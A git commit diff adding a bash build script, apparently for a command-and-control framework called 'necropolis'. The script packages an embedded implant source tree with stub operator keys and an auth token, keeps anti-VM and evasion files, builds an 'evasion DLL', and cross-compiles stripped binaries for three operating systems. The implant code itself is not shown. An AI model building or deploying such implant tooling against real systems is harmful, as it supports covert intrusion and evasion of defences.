update readme

2026-07-07 04:37:29 +01:00
commit 50cbc601d5
69 changed files with 15056 additions and 0 deletions
@@ -0,0 +1,112 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+cd "$(dirname "$0")"
+
+install_go() {
+	local arch os go_url go_file
+
+	os="$(uname -s | tr '[:upper:]' '[:lower:]')"
+	arch="$(uname -m)"
+	case "$arch" in
+		x86_64)  arch=amd64 ;;
+		aarch64|arm64) arch=arm64 ;;
+		*) echo "Unsupported arch: $arch"; exit 1 ;;
+	esac
+
+	echo "Go not found. Downloading and installing Go for ${os}/${arch}..."
+
+	go_url="https://go.dev/dl/$(curl -sL 'https://go.dev/VERSION?m=text').${os}-${arch}.tar.gz"
+	go_file="/tmp/$(basename "$go_url")"
+
+	curl -#Lo "$go_file" "$go_url"
+	sudo rm -rf /usr/local/go
+	sudo tar -C /usr/local -xzf "$go_file"
+	rm -f "$go_file"
+
+	export PATH="/usr/local/go/bin:$PATH"
+	echo "Go installed: $(go version)"
+}
+
+if ! command -v go &>/dev/null; then
+	if [ -x /usr/local/go/bin/go ]; then
+		export PATH="/usr/local/go/bin:$PATH"
+	else
+		install_go
+	fi
+fi
+
+EMBED_DIR="server/core/embedsrc"
+
+echo "Preparing embedded implant source..."
+rm -rf "$EMBED_DIR/implant_src" "$EMBED_DIR/implant_src.tar.gz"
+mkdir -p "$EMBED_DIR/implant_src"
+cp -r implant pkg protobuf "$EMBED_DIR/implant_src/"
+
+# Copy go.mod/go.sum under different names to avoid Go embed module boundary restriction
+cp go.mod "$EMBED_DIR/implant_src/go.mod.txt"
+cp go.sum "$EMBED_DIR/implant_src/go.sum.txt"
+
+# Write stub key files so the embedded tree is vettable
+cat > "$EMBED_DIR/implant_src/implant/core/embedded_pubkey.go" << 'GOEOF'
+// Code generated by necropolis generate. DO NOT EDIT.
+package core
+var embeddedOperatorPubKey = []byte{}
+GOEOF
+
+cat > "$EMBED_DIR/implant_src/implant/core/embedded_implant_key.go" << 'GOEOF'
+// Code generated by necropolis generate. DO NOT EDIT.
+package core
+var embeddedImplantPrivKey = []byte{}
+GOEOF
+
+cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
+// Code generated by necropolis generate. DO NOT EDIT.
+package core
+var embeddedOperatorBoxPubKey = []byte{}
+GOEOF
+
+cat > "$EMBED_DIR/implant_src/implant/core/embedded_authtoken.go" << 'GOEOF'
+// Code generated by necropolis generate. DO NOT EDIT.
+package core
+var embeddedAuthToken = []byte{}
+GOEOF
+
+# Prune files not needed for compilation
+find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
+find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
+# Remove any leftover test stubs (not antivm_stub.go which is real source)
+find "$EMBED_DIR/implant_src" -name "*_stub.go" ! -name "antivm_stub.go" ! -name "evasion_stub.go" -type f -delete
+
+
+# Compress the source tree (Go source code compresses extremely well)
+echo "Compressing embedded source tree..."
+tar -czf "$EMBED_DIR/implant_src.tar.gz" -C "$EMBED_DIR/implant_src" "."
+rm -rf "$EMBED_DIR/implant_src"
+
+# Build the Zig evasion DLL and copy it to the implant source
+echo "Building evasion DLL..."
+(cd evasion && zig build -Doptimize=ReleaseSafe) 2>/dev/null || echo "  zig not found, skipping evasion DLL build"
+if [ -f evasion/zig-out/bin/valak.dll ]; then
+    cp evasion/zig-out/bin/valak.dll implant/core/valak.dll
+    echo "  evasion DLL built: $(wc -c < evasion/zig-out/bin/valak.dll) bytes"
+fi
+
+mkdir -p bin
+
+build_platform() {
+	local goos="$1" goarch="$2" suffix="$3"
+	local out="bin/necropolis-${goos}-${goarch}${suffix}"
+	echo "  building ${goos}/${goarch} -> ${out}..."
+	GOOS="$goos" GOARCH="$goarch" go build -trimpath -buildvcs=false -ldflags="-s -w -buildid=" -o "$out" ./cmd/necropolis/
+}
+
+echo "Building necropolis (cross-platform)..."
+build_platform linux   amd64 ""
+build_platform linux   arm64 ""
+build_platform windows amd64 ".exe"
+build_platform windows arm64 ".exe"
+build_platform darwin  amd64 ""
+build_platform darwin  arm64 ""
+
+echo "Done. Binaries in ./bin/"